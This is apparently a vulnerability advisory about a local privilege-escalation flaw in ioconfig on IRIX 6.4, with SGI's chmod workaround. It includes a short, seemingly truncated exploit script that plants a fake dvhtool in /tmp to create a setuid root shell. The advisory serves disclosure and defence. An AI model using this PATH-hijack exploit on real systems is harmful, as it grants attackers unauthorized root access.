SGI recommends restricting access to this program. As it will typically only be used by a sytem administrator, they recommend removing the setuid bit from its permissions. # /bin/chmod 500 /sbin/ioconfig
A vulnerability exists in the ioconfig program, as shipping with IRIX 6.4 S2MP from Silicon Graphics, Inc. This program is only available on Irix 6.4 for the Origin/Onyx2. Other machines running IRIX are not vulnerable.
This vulnerability will allow a local user to obtain root priveledges. The ioconfig program will make calls to the system() call without setting the path to be used; this allows an attacker to alter their path to cause ioconfig to execute arbitrary programs.
# Irix 6.4 ioconfig xploit - Loneguard 04/12/97
# Simple xploit making use of stupid system calls to programs without using
# a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth.
cat > /tmp/dvhtool << 'EOF'
/sbin/cp /bin/csh /tmp/xsh
/sbin/chmod 14755 /tmp/xsh
/sbin/chmod 700 /tmp/dvhtool
/sbin/ioconfig -f /hw
IRIX contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a malicious user tricks ioconfig, which does not use absolute paths in its system calls, into running arbitrary programs. This flaw may lead to a loss of integrity.
Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: remove permissions on the vulnerable ioconfig program.
#/bin/chmod 500 /sbin/ioconfig